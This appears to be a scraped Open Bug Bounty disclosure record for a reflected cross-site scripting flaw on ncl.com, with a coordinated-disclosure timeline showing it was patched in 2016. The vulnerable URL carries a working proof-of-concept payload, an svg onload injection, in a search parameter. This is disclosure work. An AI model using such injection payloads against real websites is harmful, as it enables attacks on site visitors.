Lucene search

K
openbugbountyNopernikOBB:73887
HistoryJul 18, 2015 - 7:15 p.m.

ncl.com XSS vulnerability

2015-07-1819:15:00
nopernik
www.openbugbounty.org
10
Vulnerable URL:
http://www.ncl.com/search?N=4294963116&Ne;=8116&Ns;=p_Page_Is_Featured|1||p_Page_Content_Type_Weight|1&Ntt;=Search+the+entire+site+for...%27%22%3E%3Csvg/onload=prompt%28/xssposed/%29%3EΝ=p_Page_URL&Search;_submit=
Details:
Description Value
Patched: Yes, at 18.02.2016
Latest check for patch: 18.02.2016 18:06 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 8876
Google Pagerank 6
VIP website status: Yes
Check ncl.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 18 July, 2015 19:15 GMT
Vulnerability existence verified and confirmed 18 July, 2015 19:17 GMT
Vulnerability patched by the website owner 19 February, 2016 08:06 GMT